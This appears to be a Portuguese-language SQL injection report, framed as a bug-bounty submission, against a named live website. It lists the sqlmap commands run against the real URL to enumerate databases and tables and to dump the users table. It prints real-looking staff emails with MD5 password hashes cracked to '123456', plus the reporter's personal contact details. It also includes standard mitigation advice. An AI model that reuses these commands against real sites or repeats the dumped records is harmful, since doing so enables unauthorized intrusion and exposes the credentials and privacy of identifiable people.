
​📄 RELATÓRIO DE VULNERABILIDADE​
​– SQL INJECTION​

​1. Introdução​
​Sou um profissional de segurança da informação (hacker ético) e, durante uma​
​análise de segurança na aplicação web, identifiquei uma vulnerabilidade do tipo SQL​
​Injection.​

​Essa falha pode comprometer diretamente a segurança da aplicação, permitindo​
​acesso não autorizado a dados sensíveis e possíveis impactos à integridade do​
​sistema.​

​O objetivo deste relatório é detalhar a vulnerabilidade, demonstrar sua exploração e​
​recomendar medidas de mitigação.​

​2. O que é SQL Injection​
​SQL Injection é uma vulnerabilidade que ocorre quando dados fornecidos pelo​
​usuário são inseridos diretamente em consultas SQL sem validação adequada.​

​Essa falha pode permitir:​

​●​ ​Acesso a dados sensíveis​
​●​ ​Extração de credenciais​
​●​ ​Manipulação de informações​
​●​ ​Comprometimento total do banco de dados​

​3. Ferramentas Utilizadas​

​Termux​

​Ambiente Linux utilizado para execução das ferramentas de análise.​

​SQLMap (visão geral)​

​Ferramenta automatizada utilizada para detectar e explorar vulnerabilidades SQL​
​Injection.​



​4. SQLMap (Detalhado) e Comandos Utilizados​

​Comando base:​
​python3 sqlmap.py -u "URL ALVO" --risk=3 --level=5 --random-agent​

​Parâmetros:​

​●​ ​--risk=3​
​Executa testes mais agressivos.​

​●​ ​--level=5​
​Aumenta a profundidade da análise.​

​●​ ​--random-agent​
​Evita bloqueios ao variar o User-Agent.​

​5. Metodologia de Ataque​
​Foi realizada uma análise automatizada utilizando SQLMap diretamente no parâmetro​
​vulnerável da aplicação.​

​Comando utilizado:​
​python3 sqlmap.py -u​​https://nebix.com.br/central-ajuda/artigos.php?id=141​​--risk=3​
​--level=5 --random-agent​

​A ferramenta confirmou a vulnerabilidade e permitiu a enumeração completa do​
​banco de dados.​

​6. Falhas Encontradas​

​Comando de varredura:​
​python3 sqlmap.py -u​​https://nebix.com.br/central-ajuda/artigos.php?id=141​​--risk=3​
​--level=5 --random-agent​

​Resultado:​

​●​ ​Parâmetro vulnerável: id (GET)​
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​Tipos de vulnerabilidade identificados:​

​●​ ​Boolean-based blind​
​●​ ​Time-based blind​
​●​ ​UNION-based SQL Injection​

​Exemplos de payloads:​

​●​ ​id=141 AND (SELECT CASE WHEN...)​
​●​ ​id=141 AND COUNT(*) FROM INFORMATION_SCHEMA...​
​●​ ​id=-6545 UNION ALL SELECT ...​

​Ambiente:​

​●​ ​Banco de dados: MySQL​

​Observações adicionais:​

​●​ ​Foram identificados erros HTTP durante a exploração:​
​○​ ​500 (Internal Server Error)​
​○​ ​403 (Forbidden)​

​7. Explicação das Falhas​

​Falha 1: Boolean-Based Blind​

​Detalhes:​
​Permite inferência de dados com base em respostas booleanas.​

​Impacto:​
​Extração indireta de dados sensíveis.​

​Mitigação:​
​Uso de prepared statements.​

​Falha 2: Time-Based Blind​

​Detalhes:​
​Utiliza consultas pesadas ou delays para confirmar vulnerabilidade.​

​Impacto:​
​Exploração mesmo sem retorno visual.​



​Mitigação:​
​Validação rigorosa de entrada.​

​Falha 3: UNION-Based SQL Injection​

​Detalhes:​
​Permite extração direta de dados através de UNION.​

​Impacto:​
​Exposição de dados críticos.​

​Mitigação:​
​Uso de ORM e queries parametrizadas.​

​8. Evidências​

​Bancos de dados:​
​python3 sqlmap.py -u​​https://nebix.com.br/central-ajuda/artigos.php?id=141​​--dbs​

​●​ ​information_schema​
​●​ ​performance_schema​
​●​ ​wasoftware_website​

​Tabelas:​
​python3 sqlmap.py -u​​https://nebix.com.br/central-ajuda/artigos.php?id=141​​-D​
​wasoftware_website --tables​

​●​ ​carrinho​
​●​ ​comentario​
​●​ ​cupons​
​●​ ​feedback​
​●​ ​help_articles​
​●​ ​help_categories​
​●​ ​planos​
​●​ ​sugestao​
​●​ ​tasks​
​●​ ​updates​
​●​ ​users​
​●​ ​votes_articles​
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​Colunas (tabela users):​
​python3 sqlmap.py -u​​https://nebix.com.br/central-ajuda/artigos.php?id=141​​-D​
​wasoftware_website -T users --columns​

​●​ ​email​
​●​ ​first_name​
​●​ ​last_name​
​●​ ​password​
​●​ ​user_type​
​●​ ​profile_image​
​●​ ​id​

​Dump parcial (dados sensíveis):​
​python3 sqlmap.py -u​​https://nebix.com.br/central-ajuda/artigos.php?id=141​​-D​
​wasoftware_website -T users --dump​

​Registros identificados:​

​●​ ​Usuário 1​
​○​ ​Tipo: staff​
​○​ ​Email: kamila.lohrany@wasoftware.com.br​
​○​ ​ID: 13705​
​○​ ​Senha (MD5 quebrada):​

​e10adc3949ba59abbe56e057f20f883e → 123456​
​●​ ​Usuário 2​

​○​ ​Tipo: staff​
​○​ ​Email: marianasilvalopes@yahoo.com.br​
​○​ ​ID: 33089​
​○​ ​Senha (MD5 quebrada):​

​e10adc3949ba59abbe56e057f20f883e → 123456​

​Observação adicional:​

​Foram identificados registros com:​

​●​ ​Emails armazenados em formato hash (MD5)​
​●​ ​Senhas vazias (​​d41d8cd98f00b204e9800998ecf8427e​​)​

​Isso indica práticas inseguras no armazenamento de dados.​
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​9. Conclusão​
​A vulnerabilidade identificada apresenta risco crítico, permitindo acesso a dados​
​sensíveis e credenciais de usuários.​

​Além disso, foram observadas falhas graves de segurança adicionais:​

​●​ ​Uso de MD5, considerado inseguro​
​●​ ​Senhas fracas (ex: 123456)​
​●​ ​Armazenamento inconsistente de dados (emails em hash)​

​Recomenda-se:​

​●​ ​Uso de prepared statements​
​●​ ​Sanitização de entradas​
​●​ ​Adoção de algoritmos seguros (bcrypt/argon2)​
​●​ ​Políticas de senha forte​
​●​ ​Revisão geral da segurança do banco de dados​

​💰 Bug Bounty​
​Este relatório foi elaborado com o objetivo de contribuir para a melhoria da​
​segurança da aplicação.​

​Estou disponível para colaborar de forma ética e responsável, e aberto a possíveis​
​programas de reconhecimento ou recompensa, caso existam.​

​📞 Contato​
​●​ ​Nome: Lancaster​
​●​ ​E-mail: lancasterbelfort49@gmail.com​
​●​ ​Telefone / WhatsApp: +55 (98) 98811-9941​
​●​ ​Instagram: @lancaster_ti_thi​


